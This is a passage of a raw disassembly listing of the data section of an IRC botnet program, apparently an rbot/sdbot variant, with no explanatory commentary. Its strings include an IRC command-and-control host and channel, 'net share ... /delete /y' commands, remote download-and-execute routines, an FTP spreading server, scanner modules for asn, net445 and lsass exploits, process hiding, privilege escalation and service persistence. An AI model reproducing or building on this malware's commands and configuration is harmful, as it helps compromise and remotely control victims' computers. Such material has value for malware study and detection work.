		dd 2 dup(1), 442FA0h, 4	dup(0)
		dd offset loc_42C244
		dd 2 dup(0)
dword_442FB8	dd 19930520h, 2, 442FD8h, 1, 442FE8h, 3	dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 443000h, 4	dup(0)
		dd offset loc_42C321
		dd 2 dup(0)
dword_443018	dd 19930520h, 3, 443038h, 5 dup(0)		dd 0FFFFFFFFh, 43CEC0h,	0
		dd offset loc_43CEC8
		dd 1, 43CED0h, 2 dup(0)
dword_443058	dd 19930520h, 1, 443078h, 5 dup(0)		dd 0FFFFFFFFh, 43CF00h,	2 dup(0)
dword_443088	dd 19930520h, 1, 4430A8h, 5 dup(0)		dd 0FFFFFFFFh, 43CF20h,	2 dup(0)
dword_4430B8	dd 19930520h, 1, 4430D8h, 5 dup(0)		dd 0FFFFFFFFh, 43CF40h,	2 dup(0)
dword_4430E8	dd 19930520h, 1, 443108h, 5 dup(0)		dd 0FFFFFFFFh, 43CF60h,	2 dup(0)
dword_443118	dd 19930520h, 1, 443138h, 5 dup(0)		dd 0FFFFFFFFh, 43CF80h,	2 dup(0)
dword_443148	dd 19930520h, 6, 443168h, 5 dup(0)		dd 0FFFFFFFFh, 43CFA0h,	0FFFFFFFFh, 43CFA8h, 0FFFFFFFFh
		dd 43CFB0h, 0FFFFFFFFh,	43CFB8h, 0FFFFFFFFh, 43CFC0h, 0FFFFFFFFh
		dd 43CFC8h, 2 dup(0)
dword_4431A0	dd 19930520h, 16h, 4431C0h, 5 dup(0)		dd 0FFFFFFFFh, 43CFF0h,	0FFFFFFFFh, 43CFFBh, 0FFFFFFFFh
		dd 43D003h, 0FFFFFFFFh,	43D00Bh, 0FFFFFFFFh, 43D013h, 0FFFFFFFFh
		dd 43D01Eh, 0FFFFFFFFh,	43D026h, 0FFFFFFFFh, 43D02Eh, 0FFFFFFFFh
		dd 43D036h, 0FFFFFFFFh,	43D041h, 0FFFFFFFFh, 43D049h, 0FFFFFFFFh
		dd 43D051h, 0FFFFFFFFh,	43D05Ch, 0FFFFFFFFh, 43D064h, 0Dh
		dd 43D06Ch, 0Eh, 43D074h, 0Eh, 43D07Ch,	0Eh, 43D084h, 0Eh
		dd 43D08Ch, 12h, 43D094h, 13h, 43D09Ch,	0Eh, 43D09Ch, 6	dup(0)
dword_443288	dd 19930520h, 2, 4432A8h, 5 dup(0)		dd 0FFFFFFFFh, 43D0E0h,	0FFFFFFFFh, 43D0E8h, 2 dup(0)
dword_4432C0	dd 19930520h, 2, 4432E0h, 5 dup(0)		dd 0FFFFFFFFh, 43D100h,	0
		dd offset loc_43D10B
		dd 2 dup(0)
dword_4432F8	dd 19930520h, 1, 443318h, 5 dup(0)		dd 0FFFFFFFFh, 43D130h,	2 dup(0)
dword_443328	dd 19930520h, 2, 443348h, 5 dup(0)		dd 0FFFFFFFFh, 43D150h,	0FFFFFFFFh, 43D158h, 2 dup(0)
dword_443360	dd 19930520h, 0Ah, 443380h, 5 dup(0)		dd 0FFFFFFFFh, 43D170h,	0FFFFFFFFh, 43D17Bh, 0FFFFFFFFh
		dd 43D186h, 0FFFFFFFFh,	43D191h, 0FFFFFFFFh, 43D19Ch, 0FFFFFFFFh
		dd 43D1A7h, 0FFFFFFFFh,	43D1B2h, 0FFFFFFFFh, 43D1BDh, 0FFFFFFFFh
		dd 43D1C8h, 0FFFFFFFFh,	43D1D3h, 34Dh dup(0)
		dd offset aRrrrrrrrrrrrrr+1Fh
		dd offset aRrrrrrrrrr+7Ah
		dd 105h	dup(0)
aABCDEFGHIJKLMN	db 'a|b|c|d|e|f|g|h|i|j|k|l|m|n|o|p|q|r|s|t|u|v|w|x|y|z|A|B|C|D|E|F|G'
					; DATA XREF: sub_403530+7Fo
		db '|H|I|J|K|L|M|N|O|P|Q|R|S|T|U|V|W|X|Y|Z|!|?|#|$|%|^|&|*|(|)|_|+|[|'
		db '`|]|0|1|2|3|4|5|6|7|8|9| |.|\|-|/|:|"|@',0
		align 4
		dd 8 dup(0)
asc_4445EC:				; DATA XREF: sub_403530+66o
					; sub_410030:loc_41090Eo ...
		unicode	0, <|>,0
aS		db '%s',0               ; DATA XREF: sub_404CC0+86Fo
					; sub_404CC0+AEBo ...
		align 4
aSS_0		db '%s %s',0Dh,0Ah,0    ; DATA XREF: sub_404CC0+82Bo
					; sub_404CC0+B58o ...
		align 10h
asc_444600:				; DATA XREF: sub_404690:loc_40476Fo
					; sub_404690+1EDo ...
		unicode	0, < >,0
aO		db ' -o',0              ; DATA XREF: sub_404690+75o
					; sub_410030:loc_410A19o ...
aNetShareAdminD	db 'net share admin$ /delete /y',0
		dd 2 dup(0)
aNetShareIpcDel	db 'net share ipc$ /delete /y',0
		align 4
		dd 0
aNetShareDDelet	db 'net share d$ /delete /y',0
		align 8
aNetShareCDelet	db 'net share c$ /delete /y',0
		dd 0
dword_444684	dd 255C7325h, 73h					; sub_40D040+DEo ...
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_404CC0+D72o
		align 8
aN:					; DATA XREF: sub_404CC0+D1Do
		unicode	0, <N>,0
aExecutedS_	db 'Executed: %s.',0    ; DATA XREF: sub_404CC0+971o
		align 4
aResolve_errorS	db 'resolve.error %s.',0 ; DATA XREF: sub_404CC0+75Co
		align 10h
		dd 0
aSS_1		db '%s -> %s',0         ; DATA XREF: sub_404CC0+6CFo
		align 10h
aSResolvedS	db '%s resolved %s',0   ; DATA XREF: sub_404CC0+610o
		align 10h
		dd 0
aOpen		db 'open',0             ; DATA XREF: sub_404CC0+444o
					; sub_41C130+Eo
		align 4
aExec_error	db 'exec.error',0       ; DATA XREF: sub_404CC0+1A3o
					; sub_404CC0+9ABo ...
		align 4
		dd 0
aUpDdDhDm	db 'up: %dd %dh %dm',0  ; DATA XREF: sub_406730+C3o
		align 10h
aCpuDmhz_Memory	db 'CPU: %dMHz. Memory: %dMB/%dMB. OS: Win %s (%d.%d, Build %d). upti'
					; DATA XREF: sub_4068E0+20Fo
		db 'me: %dd %dh %dm box: %s. user: %s.',0
		dd 5 dup(0)
aSS_2		db '%s [%s]',0          ; DATA XREF: sub_4068E0+125o
		dd 0
a???		db '???',0              ; DATA XREF: sub_4068E0:loc_4069DBo
a2003		db '2003',0             ; DATA XREF: sub_4068E0+F4o
		align 10h
aXp		db 'XP',0               ; DATA XREF: sub_4068E0+EAo
		align 4
a2000		db '2000',0             ; DATA XREF: sub_4068E0+DEo
		align 4
aMe		db 'ME',0               ; DATA XREF: sub_4068E0+C7o
		align 10h
a98		db '98',0               ; DATA XREF: sub_4068E0+BBo
		align 4
aNt		db 'NT',0               ; DATA XREF: sub_4068E0+AFo
		align 4
a95		db '95',0               ; DATA XREF: sub_4068E0+9Co
		align 4
aBai		db '-bai',0             ; DATA XREF: ___:loc_406E3Do
					; ___:00406E85o
		align 4
aNetsvcs	db '-netsvcs',0         ; DATA XREF: ___:loc_406E00o
					; sub_40ED00+88o
		align 10h
aUpdate		db '-update',0          ; DATA XREF: ___:00406DC3o
		dd 0
dword_4447EC	dd 6265642Dh, 6775hdword_4447F4	dd 6425h						; ___:004087A2o ...
dword_4447F8	dd 2Eh							; ___:0041B2DAo ...
aMicrosoftVisua	db 'MicroSoft Visual SP0',0 ; DATA XREF: sub_4077E0+403o
		align 8
aEvil		db 'evil',0             ; DATA XREF: sub_4077E0+3F2o
		align 10h
aFeeling_nasty	db 'feeling.nasty',0    ; DATA XREF: sub_4077E0+3E1o
		align 10h
aSet		db 'set',0              ; DATA XREF: sub_4077E0+359o
asc_444834	db 'X-',0               ; DATA XREF: sub_4077E0+348o
		align 4
aAysklfsdsdsfss	db 'aysklfsdsdsfssas',0 ; DATA XREF: sub_4077E0+337o
		align 4
aIgfsfds_exe	db 'igfsfds.exe',0      ; DATA XREF: sub_4077E0+326o
		dd 0
aXkey		db 'Xkey',0             ; DATA XREF: sub_4077E0+318o
		align 4
aFor		db '##for',0            ; DATA XREF: sub_4077E0+307o
		align 4
aFor_0		db '##for##',0          ; DATA XREF: sub_4077E0+2F6o
		align 8
a3267		db '3267',0             ; DATA XREF: sub_4077E0+29Bo
		align 10h
aIrc_alfree5_in	db 'irc.alfree5.info',0 ; DATA XREF: sub_4077E0+283o
		align 8
off_444898	dd offset off_43F1D4	; DATA XREF: ___:00440014o
		align 10h
a_?avexception@	db '.?AVexception@@',0
		dd 2 dup(0)
off_4448B8	dd offset off_43F1D4	; DATA XREF: ___:00440034o
		align 10h
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 10h
off_4448E0	dd offset off_43F1D4	; DATA XREF: ___:00440054o
		align 8
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 10h
		dd 2 dup(0)
aInvalidVectorT	db 'invalid vector<T> subscript',0 ; DATA XREF: sub_409660+21o
					; ___:0040AA51o
		dd 2 dup(0)
aTrue		db 'true',0             ; DATA XREF: sub_40B760+3Fo
					; sub_40B7E0+43o ...
		align 4
aF		db '%f',0               ; DATA XREF: ___:0040B87Fo
		align 4
aFalse		db 'false',0            ; DATA XREF: ___:0040B924o
		align 10h
aSSWasS		db '%s = "%s" [was "%s"]',0 ; DATA XREF: ___:0040BC3Ao
		align 4
		dd 0
aSS_5		db '%s = "%s"',0        ; DATA XREF: ___:0040BB57o
		align 4
aDSSS		db '[%d] "%s" = "%s" ("%s")',0 ; DATA XREF: ___:0040BA91o
		dd 0
aCvar		db '(cvar)',0           ; DATA XREF: ___:0040BA04o
		align 4
aDccSocketError	db 'dcc: socket error',0 ; DATA XREF: sub_40C4E0+52Ao
		align 10h
		dd 0
aDccCompleteToS	db 'dcc: complete to %s, file: %s, (%d bytes)',0
					; DATA XREF: sub_40C4E0+48Ao
		align 10h
		dd 2 dup(0)
aDccUnableToOpe	db 'dcc: unable to open socket',0 ; DATA XREF: sub_40C4E0+377o
		align 8
aDccTimeout	db 'dcc: timeout',0     ; DATA XREF: sub_40C4E0+327o
		align 4
dword_444A08	dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
					; DATA XREF: sub_40C4E0+296o
		dd 169h, 0
aDccFileDoesn_0	db '[DCC]: File doesn',27h,'t exist.',0 ; DATA XREF: sub_40C4E0+230o
		align 10h
		dd 0
aDccFileDoesnTE	db 'dcc: file doesn',27h,'t exist',0 ; DATA XREF: sub_40C4E0+218o
		align 10h
aDccFailedToOpe	db 'dcc: failed to open socket',0 ; DATA XREF: sub_40C4E0+1BBo
		align 10h
aDccFailedToBin	db 'dcc: failed to bind socket',0 ; DATA XREF: sub_40C4E0+110o
		align 10h
aDccFailedToCre	db '[DCC]: Failed to create socket.',0 ; DATA XREF: sub_40C4E0+B8o
		dd 2 dup(0)
aFilesFoundD	db 'Files Found: %d',0  ; DATA XREF: sub_40CC90+1B1o
		dd 0
asc_444ADC:				; DATA XREF: sub_40CC90+113o
					; sub_4201F0+100o
		unicode	0, <\>,0
aFoundSS	db 'Found: %s\%s',0     ; DATA XREF: sub_40D040+115o
		align 10h
aS_1		db '%s\*',0             ; DATA XREF: sub_40D040+1Fo
		align 4
aExplorer_exe	db '\explorer.exe',0    ; DATA XREF: ___:0040D559o
		align 4
aBai_0		db ' -bai ',0
		align 10h
aSCS		db '%s%c%s',0
		align 4
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_40D660+D1o
		align 4
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_40D660+C4o
		align 4
		dd 0
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_40D660+B7o
		align 4
		dd 0
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_40D660+AFo
		align 8
aKernel32_dll_0	db 'kernel32.dll',0     ; DATA XREF: sub_40D660+98o
		align 4
aComspecCSS	db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_40DC20+4D3o
		align 10h
		dd 0
aSSSSSSSSSS	db '%s',0Dh,0Ah         ; DATA XREF: sub_40DC20+37Co
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,'%s',0Dh,0Ah
		db '%s',0Dh,'%s',0Dh,0Ah,0
		align 4
		dd 2 dup(0)
aSS_4		db '"%s" %s',0          ; DATA XREF: sub_40EE40+6Ao
		align 10h
aServicesactive	db 'ServicesActive',0   ; DATA XREF: sub_40EE40+21o
					; sub_40F060+Ao ...
		align 10h
		dd 0
aServDelS_	db 'serv(del) "%s".',0  ; DATA XREF: ___:0040F511o
		align 8
aServAddSAsSS_	db 'serv(add) "%s" as ""%s" %s".',0 ; DATA XREF: ___:0040F454o
		align 4
		dd 0
aRegDelS_	db 'reg(del) "%s".',0   ; DATA XREF: ___:0040F359o
		align 10h
aRegAddSAsS_	db 'reg(add) "%s" as "%s".',0 ; DATA XREF: ___:0040F2ADo
		align 4
		dd 0
asc_444C5C	db ' :',0               ; DATA XREF: sub_410030+E2Bo
					; sub_410030+1118o ...
		align 10h
asc_444C60:				; DATA XREF: sub_410030+CACo
					; sub_410030+D15o ...
		unicode	0, <!>,0
aN_0		db ' -n',0              ; DATA XREF: sub_410030:loc_4109F8o
					; sub_410030:loc_410C87o
aS_2		db ' -s',0              ; DATA XREF: sub_410030:loc_4109CFo
					; sub_410030:loc_410C66o
asc_444C6C:				; DATA XREF: sub_410030+871o
					; sub_410030:loc_410CA8o ...
		unicode	0, <:>,0
a@:					; DATA XREF: sub_410030+7CCo
					; sub_410030+D2Do ...
		unicode	0, <@>,0
aSSS_0		db '%s %s %s',0Dh,0Ah,0 ; DATA XREF: sub_410030+65Do
					; sub_410030+732o ...
		align 10h
		dd 0
aSSSS00S	db '%s %s',0Dh,0Ah      ; DATA XREF: sub_410030+355o
		db '%s %s 0 0 :%s',0Dh,0Ah,0
		align 10h
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_410030+2C4o
					; sub_412780+91o ...
		align 10h
aSSSS		db '%s %s %s %s',0Dh,0Ah,0 ; DATA XREF: sub_4120B0+4E3o
		align 10h
aS_3		db '%s',0Dh,0Ah,0       ; DATA XREF: sub_4120B0+386o
					; sub_426070+12Do ...
		align 4
aSSS_1		db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_4120B0+CBo
					; sub_412A40+8Fo
		align 8
aPublic		db '[PUBLIC]',0         ; DATA XREF: sub_412780:loc_41288Bo
		align 4
aPrivate	db '[PRIVATE]',0        ; DATA XREF: sub_412780+104o
		align 10h
a_		db '. ',0               ; DATA XREF: sub_412780+CAo
					; sub_412780+E5o
		align 4
aLan		db 'lan: ',0            ; DATA XREF: sub_412780+AEo
		align 4
aUptime		db 'uptime',0           ; DATA XREF: ___:loc_412FF7o
		align 4
aHost		db 'host',0             ; DATA XREF: ___:loc_412FA4o
		align 4
aId		db 'id',0               ; DATA XREF: ___:loc_412F4Ao
		align 10h
asc_444D10:				; DATA XREF: ___:loc_412F33o
		dw 3Ch
		unicode	0, <>,0
asc_444D14:				; DATA XREF: ___:loc_412F1Co
		dw 3Eh
		unicode	0, <>,0
asc_444D18	db '==',0               ; DATA XREF: ___:loc_412F05o
		align 4
asc_444D1C	db '!=',0               ; DATA XREF: ___:00412EF1o
		align 10h
a2_2x		db '%2.2X',0            ; DATA XREF: sub_4138B0+B7o
		align 4
aSS_6		db '%s: %s',0           ; DATA XREF: sub_4193C0+30Fo
		align 10h
aSD_0		db '%s: %d',0           ; DATA XREF: sub_4193C0+2E7o
		align 4
aSD_1		db '%s:%d',0            ; DATA XREF: sub_4193C0+272o
					; sub_4193C0+29Bo
		align 10h
aListening	db 'listening',0        ; DATA XREF: sub_4193C0+210o
		align 4
aEstablished	db 'established',0      ; DATA XREF: sub_4193C0+205o
		dd 0
off_444D5C	dd offset dword_504354	; DATA XREF: sub_4193C0+140o
					; ___:0042C5F2o ...
dword_444D60	dd 2D464544h, 504354h, 0					; sub_4193C0+12Eo
dword_444D6C	dd 652Dh	dword_444D70	dd 6C2Dh	a_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_419BE0+82o
		align 4
		dd 0
aSS_3		db '%s%s',0             ; DATA XREF: ___:00419DF1o
		align 4
aSSS		db '%s%s%s',0           ; DATA XREF: ___:00419DCCo
		align 4
byte_444DAC	db 1			; DATA XREF: sub_41A390r
		align 10h
dword_444DB0	dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
; ---------------------------------------------------------------------------


loc_444DFC:				; DATA XREF: ___:00421859o
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
dword_444E10	dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0dword_444E24	dd 3000005h, 10h, 18h, 1, 0Ah dup(0)dword_444E5C	dd 63257325h, 0						; sub_41F960+E5o
dword_444E64	dd 72h		dword_444E68	dd 30h							; sub_424920+327o
dword_444E6C	dd 3039h	dword_444E70	dd 383631h	dword_444E74	dd 323931h	dword_444E78	dd 3631h	dword_444E7C	dd 323731h	dword_444E80	dd 3031h	off_444E84	dd offset dword_5C005C	; DATA XREF: ___:0041C217r
					; ___:0041C387r
word_444E88	dw 0			; DATA XREF: ___:0041C221r
					; ___:0041C391r
		align 4
off_444E8C	dd offset dword_49005C	; DATA XREF: ___:0041C1E6r
					; ___:0041C356r
off_444E90	dd offset loc_43004E+2	; DATA XREF: ___:0041C1EBr
					; ___:0041C35Br
dword_444E94	dd 24h							; ___:0041C37Fr
		dd 0
aDlEdUpdateS	db 'dl',27h,'ed-update: %s',0 ; DATA XREF: sub_41D930+5F5o
		align 10h
aOpenS_		db 'open %s.',0         ; DATA XREF: sub_41D930+5BAo
		align 4
aDlDone_S_	db 'dl, done. %s .',0   ; DATA XREF: sub_41D930+567o
		align 10h
asc_444ED0	db 0Dh,0Ah		; DATA XREF: sub_41D930+48Fo
		db 0Dh,0Ah,0
		align 4
aHttpBadopen	db 'http(badopen)',0    ; DATA XREF: sub_41D930+3F1o
		align 4
aWb		db 'wb',0               ; DATA XREF: sub_41D930+3C0o
					; ___:0041FD87o
		align 4
aHttpGetting	db 'http(getting)',0    ; DATA XREF: sub_41D930+3AFo
		align 4
aGetSHttp1_0Con	db 'GET %s HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41D930+36Do
		db 'Connection: Keep-Alive',0Dh,0Ah
		db 'User-Agent: Mozilla/4.5',0Dh,0Ah
		db 'Host: %s:%d',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
		dd 4 dup(0)
aHttpBadconnect	db 'http(badconnect)',0 ; DATA XREF: sub_41D930+327o
		align 4
aFtpBaddl	db 'ftp(baddl)',0       ; DATA XREF: sub_41D930+2A3o
		align 10h
		dd 0
aFtpGetting	db 'ftp(getting)',0     ; DATA XREF: sub_41D930+25Ao
		align 4
aFtpBadlogin	db 'ftp(badlogin)',0    ; DATA XREF: sub_41D930+224o
		align 4
aFtpBadconnect	db 'ftp(badconnect)',0  ; DATA XREF: sub_41D930+1CEo
		align 8
aSysLogoff	db 'sys(logoff)',0      ; DATA XREF: ___:0041E47Eo
		align 8
aSysSd		db 'sys(sd)',0          ; DATA XREF: ___:0041E42Fo
		dd 0
dword_444FD4	dd 28737973h, 6F626572h, 29746Fh, 0dword_444FE4	dd 6469706Bh, 7325203Ah, 0dword_444FF0	dd 203A736Bh, 7325hdword_444FF8	dd 202E6425h, 7325202Fh, 0dword_445004	dd 203A706Bh, 7325haD_PidDS	db '%d. - Pid: %d - "%s"',0 ; DATA XREF: sub_41E760+130o
		align 8
a221		db '221 ',0Dh,0Ah,0     ; DATA XREF: sub_41F030+694o
					; sub_41F030+6A9o
		align 10h
a226		db '226 ',0Dh,0Ah,0     ; DATA XREF: sub_41F030:loc_41F695o
					; sub_41F030+677o
		align 4
aFtpD_D_D_DDByt	db 'ftp: %d.%d.%d.%d -> (%d bytes) (total sends: %d)',0
					; DATA XREF: sub_41F030+62Bo
		align 4
		dd 2 dup(0)
aRb		db 'rb',0               ; DATA XREF: sub_41F030+53Fo
		align 4
a150		db '150 ',0Dh,0Ah,0     ; DATA XREF: sub_41F030+505o
					; sub_41F030+51Ao
		align 10h
asc_445080:				; DATA XREF: sub_41F030+2EFo
					; sub_41F030+33Ao ...
		unicode	0, <,>,0
a200		db '200 ',0Dh,0Ah,0     ; DATA XREF: sub_41F030+286o
					; sub_41F030+29Bo ...
		align 4
a230		db '230 ',0Dh,0Ah,0     ; DATA XREF: sub_41F030+254o
					; sub_41F030+269o
		align 4
a331		db '331 ',0Dh,0Ah,0     ; DATA XREF: sub_41F030+222o
					; sub_41F030+237o
		align 4
a220		db '220 ',0Dh,0Ah,0     ; DATA XREF: sub_41F030+1F3o
					; sub_41F030+205o
		align 4
aFtpD_D_D_DOnD	db 'ftp: %d.%d.%d.%d on %d',0 ; DATA XREF: sub_41F030+17Eo
		align 10h
aDDUseridUnixS	db '%d, %d : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: sub_41F960+13Co
		align 10h
		dd 0
aBinres		db 'BINRES',0           ; DATA XREF: ___:0041FDBDo
		align 4
aUnknown	db 'unknown',0          ; DATA XREF: sub_420090:loc_4200E5o
					; sub_420630+C4r ...
		align 8
aImagepath	db 'ImagePath',0        ; DATA XREF: sub_4201F0+CBo
					; sub_4208E0+316o
		align 4
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Services\%s',0 ; DATA XREF: sub_4201F0+73o
					; sub_4208E0+2BEo
		align 10h
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_4204D0+63o
		align 4
aGetmodulefilen	db 'GetModuleFileNameExA',0 ; DATA XREF: sub_420630+72o
		align 10h
aEnumprocessmod	db 'EnumProcessModules',0 ; DATA XREF: sub_420630+64o
		align 8
aEnumprocesses	db 'EnumProcesses',0    ; DATA XREF: sub_420630+52o
		align 4
aPsapi_dll	db 'PSAPI.DLL',0        ; DATA XREF: sub_420630+20o
					; sub_420630+34o
		align 4
aSS		db '[%s] [%s]',0        ; DATA XREF: sub_4208E0+34Co
		align 10h
aS????_exe	db '[%s] [????.exe]',0  ; DATA XREF: sub_4208E0+32Do
		dd 0
aS????_exeUnkno	db '[%s] [????.exe] (Unknown key)',0 ; DATA XREF: sub_4208E0+2F3o
		align 8
aThemes		db 'Themes',0           ; DATA XREF: sub_4208E0+1F6o
		align 10h
aSrservice	db 'srservice',0        ; DATA XREF: sub_4208E0+1EBo
		align 4
aWuauserv	db 'wuauserv',0         ; DATA XREF: sub_4208E0+1E0o
		align 4
aWzcsvc		db 'WZCSVC',0           ; DATA XREF: sub_4208E0+1D5o
		align 10h
aWinmgmt	db 'winmgmt',0          ; DATA XREF: sub_4208E0+1CAo
		dd 0
aWebclient	db 'WebClient',0        ; DATA XREF: sub_4208E0+1BFo
		align 4
aW32time	db 'W32Time',0          ; DATA XREF: sub_4208E0+1B4o
		dd 0
aUpnphost	db 'upnphost',0         ; DATA XREF: sub_4208E0+1A9o
		align 10h
aUploadmgr	db 'uploadmgr',0        ; DATA XREF: sub_4208E0+19Eo
		align 4
aTrkwks		db 'TrkWks',0           ; DATA XREF: sub_4208E0+193o
		align 4
aTermservice	db 'TermService',0      ; DATA XREF: sub_4208E0+188o
		dd 0
aTapisrv	db 'TapiSrv',0          ; DATA XREF: sub_4208E0+17Do
		align 10h
aStisvc		db 'stisvc',0           ; DATA XREF: sub_4208E0+172o
		align 4
aSsdpsrv	db 'SSDPSRV',0          ; DATA XREF: sub_4208E0+167o
		dd 0
aSpooler	db 'Spooler',0          ; DATA XREF: sub_4208E0+15Co
		align 10h
aShellhwdetecti	db 'ShellHWDetection',0 ; DATA XREF: sub_4208E0+151o
		align 4
aSens		db 'SENS',0             ; DATA XREF: sub_4208E0+146o
		align 4
aSeclogon	db 'seclogon',0         ; DATA XREF: sub_4208E0+13Bo
		align 4
aSchedule	db 'Schedule',0         ; DATA XREF: sub_4208E0+130o
		align 4
aSamss		db 'SamSs',0            ; DATA XREF: sub_4208E0+125o
		align 4
aRpcss		db 'RpcSs',0            ; DATA XREF: sub_4208E0+11Ao
		align 4
aRasman		db 'RasMan',0           ; DATA XREF: sub_4208E0+10Fo
		align 4
aProtectedstora	db 'ProtectedStorage',0 ; DATA XREF: sub_4208E0+104o
		align 10h
aPolicyagent	db 'PolicyAgent',0      ; DATA XREF: sub_4208E0+F9o
		align 10h
aPlugplay	db 'PlugPlay',0         ; DATA XREF: sub_4208E0+EEo
		align 4
off_4452FC	dd offset word_616C4E	; DATA XREF: sub_4208E0+E3o
aNetman		db 'Netman',0           ; DATA XREF: sub_4208E0+D8o
		align 4
aMessenger	db 'Messenger',0        ; DATA XREF: sub_4208E0+CDo
		align 4
off_445314	dd offset byte_4D444D	; DATA XREF: sub_4208E0+C5o
aLmhosts	db 'LmHosts',0          ; DATA XREF: sub_4208E0+BDo
		dd 0
aLanmanworkstat	db 'lanmanworkstation',0 ; DATA XREF: sub_4208E0+B5o
		align 4
		dd 0
aLanmanserver	db 'lanmanserver',0     ; DATA XREF: sub_4208E0+ADo
		align 4
aHelpsvc	db 'helpsvc',0          ; DATA XREF: sub_4208E0+A5o
		align 8
aFastuserswitch	db 'FastUserSwitchingCompatibility',0 ; DATA XREF: sub_4208E0+9Do
		align 10h
aEventsystem	db 'EventSystem',0      ; DATA XREF: sub_4208E0+95o
		align 10h
aEventlog	db 'Eventlog',0         ; DATA XREF: sub_4208E0+8Do
		align 4
aErsvc		db 'ERSvc',0            ; DATA XREF: sub_4208E0+85o
		align 4
aDnscache	db 'Dnscache',0         ; DATA XREF: sub_4208E0+7Do
		align 10h
aDmserver	db 'dmserver',0         ; DATA XREF: sub_4208E0+75o
		align 4
aDhcp		db 'Dhcp',0             ; DATA XREF: sub_4208E0+6Do
		align 4
aCryptsvc	db 'CryptSvc',0         ; DATA XREF: sub_4208E0+65o
		align 10h
aBrowser	db 'Browser',0          ; DATA XREF: sub_4208E0+5Do
		dd 0
aAudiosrv	db 'AudioSrv',0         ; DATA XREF: sub_4208E0+55o
					; sub_4208E0:loc_420B6Bo
		align 4
asc_4453E8:				; DATA XREF: sub_420F10:loc_420FCFo
					; sub_420F10+F9o ...
		unicode	0, </>,0
aFtp		db 'ftp',0              ; DATA XREF: sub_420F10+94o
					; sub_420F10:loc_42117Eo ...
aHttp		db 'http',0             ; DATA XREF: sub_420F10+84o
					; sub_420F10+257o ...
		align 4
aAsn		db 'asn',0              ; DATA XREF: sub_4228F0+31o
		dd 0
		dd 73610000h, 6Eh, 6 dup(0)
dword_445420	dd 1BDh							; sub_422B40+310o ...
off_445424	dd offset sub_401820	; DATA XREF: ___:00423F8Dr
dword_445428	dd 0							; sub_4236F0+3Ar ...
		dd 1, 0
aAsn2		db 'asn2',0
		align 4
		dd 73610000h, 326Eh, 6 dup(0)
		dd 1BDh, 401820h, 0
		dd 1, 0
aNet445		db 'net445',0
		align 4
		dd 656E0000h, 35343474h, 6 dup(0)
		dd 1BDh, 402199h, 0
		dd 1, 0
aLsass		db 'lsass',0
		align 4
		dd 736C0000h, 737361h, 6 dup(0)
		dd 1BDh, 401DCAh, 0
		dd 1, 1Fh dup(0)
aScanSSPortScan	db 'Scan(%s): %s Port Scan %s:%d - Delay %d Sec - %d Min - %d threads'
					; DATA XREF: sub_422B40+8F3o
		db 0
		align 10h
aSequential	db 'sequential',0       ; DATA XREF: sub_422B40+8B3o
		align 10h
aRandom		db 'random',0           ; DATA XREF: sub_422B40+8ACo
		align 4
aScanNoIpSpecif	db 'scan: no ip specified',0 ; DATA XREF: sub_422B40+760o
		align 10h
		dd 0
off_4455E4	dd offset dword_622D20	; DATA XREF: sub_422B40+747o
off_4455E8	dd offset dword_612D20	; DATA XREF: sub_422B40+737o
					; sub_422B40+7A3o ...
dword_4455EC	dd 722D20h						; sub_422B40+7E5o
aScanInvalidPor	db 'scan: invalid port',0 ; DATA XREF: sub_422B40+640o
		align 8
aTotalD		db ' total: %d',0       ; DATA XREF: sub_422B40+397o
		align 8
aSD		db ' %s: %d,',0         ; DATA XREF: sub_422B40+35Fo
		align 4
aScanStats	db 'scan: stats:',0     ; DATA XREF: sub_422B40+336o
		align 4
aScanTooManyThr	db 'scan: too many threads (%s)',0 ; DATA XREF: sub_422B40+275o
		dd 2 dup(0)
aScanCouldnTSto	db 'scan: couldn',27h,'t stop',0 ; DATA XREF: sub_422B40+1DAo
		align 10h
aScanStoppedDTh	db 'scan: stopped (%d threads)',0 ; DATA XREF: sub_422B40+197o
		align 10h
aFtpPortDTotalS	db 'ftp: port: %d, total sends: %d',0 ; DATA XREF: sub_422B40+140o
		align 10h
		dd 2 dup(0)
aScanNotStarted	db 'scan: not started',0 ; DATA XREF: sub_422B40+B2o
		align 10h
aScanCipS	db 'scan: cip (%s)',0   ; DATA XREF: sub_422B40+6Do
		align 10h
		dd 0
dword_4456E4	dd 6B636F53h, 63207465h, 65736F6Ch, 2E64h, 0aRecvfromSocket	db 'recvfrom() socket failed',0 ; DATA XREF: ___:loc_423C42o
		align 8
aSocketOpen_	db 'Socket open.',0     ; DATA XREF: ___:00423C25o
		align 4
aSendtoSocketFa	db 'sendto() socket failed. sent = %d <%d>.',0 ; DATA XREF: ___:00423B95o
dword_445750	dd 2 dup(0)	aSocketOpenFail	db 'socket open failed',0 ; DATA XREF: ___:00423B5Fo
		align 10h
